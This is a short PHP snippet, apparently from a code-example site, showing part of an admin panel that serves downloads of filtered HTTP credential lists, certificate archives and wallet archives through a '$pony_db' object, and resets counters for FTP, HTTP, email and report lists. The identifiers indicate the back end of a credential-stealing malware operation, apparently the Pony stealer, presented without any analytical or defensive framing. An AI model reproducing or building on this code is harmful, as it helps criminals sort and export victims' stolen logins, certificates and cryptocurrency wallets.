Exemple #1
0
    if ($use_zip) {
        set_common_file_download_header('filtered_http_list.zip', 'application/zip');
        ob_start();
        apply_data_filters($smarty, true, 'http');
        $filter_list_data = ob_get_contents();
        ob_end_clean();
        create_zip_and_send('filtered_http_list.txt', $filter_list_data);
    } else {
        set_common_file_download_header('filtered_http_list.txt');
        apply_data_filters($smarty, true, 'http');
    }
    die;
}
if ($admin_routine == 'download_cert' && $admin_action == 'other') {
    set_common_file_download_header('certificates.zip', 'application/zip');
    $pony_db->get_cert_zip();
    die;
}
if ($admin_routine == 'download_wallet' && $admin_action == 'other') {
    set_common_file_download_header('wallets.zip', 'application/zip');
    $pony_db->get_wallet_zip();
    die;
}
$smarty->display('header.tpl');
my_flush();
function clear_floating_offsets($pony_db)
{
    $offsets = array('offset_url', 'offset_ftp_last', 'offset_http_last', 'offset_reports_last', 'offset_ftp_list', 'offset_http_list', 'data_sum', 'offset_nonparsed_reports_stats', 'offset_nonparsed_reports_sum', 'offset_log_events_count', 'offset_report_duplicates', 'offset_email_list');
    foreach ($offsets as $offset_to_clear) {
        $pony_db->set_multi_option($offset_to_clear, array(''));
    }